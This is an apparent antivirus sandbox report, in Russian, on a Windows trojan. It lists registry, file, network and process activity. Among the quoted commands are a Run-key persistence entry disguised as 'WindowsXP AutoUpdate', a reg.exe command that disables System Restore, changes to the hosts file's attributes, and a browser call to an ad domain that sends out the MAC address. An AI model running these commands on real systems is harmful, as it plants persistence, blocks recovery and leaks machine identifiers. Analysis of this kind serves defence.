Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'WindowsXP AutoUpdate' = '%APPDATA%\wuauct.exe'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Компонент восстановления системы (SR)
Запускает на исполнение
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' "http://ads.super-afiliados.net/a.php?id=1&a=user&b=pxsihadnry&c=8C-E5-34-F2-10-2C&d="
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\~2be.bat
- %WINDIR%\dasdasda.dll
- nul
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\~2be.bat
Сетевая активность
UDP
- DNS ASK google.com
- DNS ASK ad#.###er-afiliados.net
- DNS ASK c.####special.com
- DNS ASK p.####special.com
Другое
Ищет следующие окна
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~2BE.bat "<Полный путь к файлу>" (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c dir /b /s | find /i "java.policy"
- '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
- '%WINDIR%\syswow64\reg.exe' query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Version Vector" /v IE
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Version Vector" /v IE
- '%WINDIR%\syswow64\attrib.exe' +s +r <DRIVERS>\etc\hosts
- '%WINDIR%\syswow64\ping.exe' p.zonespecial.com -n 1 -l 1
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\ping.exe p.zonespecial.com -n 1 -l 1 | <SYSTEM32>\find.exe "TTL"
- '%WINDIR%\syswow64\ping.exe' c.zonespecial.com -n 1 -l 1
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\ping.exe c.zonespecial.com -n 1 -l 1 | <SYSTEM32>\find.exe "TTL"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" dir /b /s "
- '%WINDIR%\syswow64\attrib.exe' -r -a -s -h <DRIVERS>\etc\hosts
- '%WINDIR%\syswow64\ping.exe' www.google.com -n 1 -l 1
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsXP AutoUpdate" /t REG_SZ /d "%APPDATA%\wuauct.exe"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo y"
- '%WINDIR%\syswow64\find.exe' "volume"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" dir"
- '%WINDIR%\syswow64\cmd.exe' /c dir|find "volume"
- '%WINDIR%\syswow64\find.exe' "-"
- '%WINDIR%\syswow64\getmac.exe'
- '%WINDIR%\syswow64\cmd.exe' /c getmac|find "-"
- '%WINDIR%\syswow64\find.exe' "TTL"
- '%WINDIR%\syswow64\find.exe' /i "java.policy"
